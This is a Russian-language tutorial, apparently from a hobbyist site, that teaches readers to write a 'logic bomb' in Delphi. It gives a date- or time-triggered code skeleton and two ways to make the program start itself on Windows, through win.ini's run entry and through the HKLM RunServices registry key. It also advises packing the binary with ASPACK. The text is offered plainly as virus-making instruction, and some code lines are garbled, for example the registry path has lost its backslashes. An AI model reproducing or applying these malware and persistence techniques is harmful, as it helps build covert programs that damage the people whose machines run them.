Привет читатель. Добро пожаловать на урок по изготовлению логической бомбы. Логическая бомба это (если я не ошибаюсь) то это разновидность вируса. Её принцип прост. Она запускает определённый программный код при выполнении определённых условий. Часто таким условием бывает время или дата. И так приступим к программному коду: 0) Запусти Delphi. 1) Создай новый проект. 2) Удали Form из проекта. (project=>remove from project=>выбери форму=>OK=>появится окно, нужно согласиться=>всё! Форма удалена) 3) Откроем место для написания кода (project=>view source=> Program log_bomb;//Название может быть любым Uses windows; //Подключаемые модули, чем меньше , тем лучше. Begin //Если дата 11.11.1111 то срабатывает код написанный If datetostr(date)=’11.11.1111’ then Begin // Между begin // Сам код, выполняющийся при выполнении условия End; Exit; End. Вот и всё. А теперь несколько советов. 1) Всегда в конце лучше писать EXIT; Не пойман не уничтожен – закон вирусов. 2) Если надо чтобы программа срабатывала в определённое время. То надо писать следущее: If timetostr(time)=’22:22’ then Begin // Код End; 3) Иногда, когда подключаешь много модулей прога приобретает «Царский размер» В этих случаях необходимо пользоваться ASPACK'ом. Он уменьшит размер примерно в два раза. 4) Всегда проверяй Автозагрузку. Может что-то подобное уже работает у тебя!!!! Теперь я расскажу как сделать это двумя способами: через файл win.ini и через реестр. Приступим. 1) способ Через Win.ini Для этого надо знать как работать с INI файлами. Program INIFI; Uses inifiles; //Обьявляем переменную для работы с ini файлами Var reg: tinifile; Begin //Выделяем память для переменной, открываем файл reg:=tinifile.create('win.ini'); //Непосредственно прописываемся reg.writestring('windows','run',application.ExeName); //Освобождаем память reg.free; exit; end. Остановимся на этой строчке подробнее: reg.writestring('windows','run',application.ExeName); //Переменная reg запись строки типа string, куда указывается в скобках reg.writestring() Win.ini находится ВСЕГДА по адресу: Имя_диска:Папка_виндыwin.ini 2) Способ Через реестр. Очень похоже на способ 1), только работаем с реестром и другими переменными. Итак. Приступим. Program regis; Uses inifiles; Var load: treginifile; Begin load:=treginifile.create; //Выбираем ветвь реестра load.RootKey:=hkey_local_machine; //Выбираем ключ load.OpenKey('softwaremicrosoftwindowscurrentversion',false); //Прописываемся load.WriteString('runServices','ssi',application.exename); Load.free; exit; end. Всё просто. Рассмотрим основные моменты: Переменная.Rootkey:={Название ветви реестра} Переменная.openkey(название ключа)
Источник: http://www.vr-online.ru/ |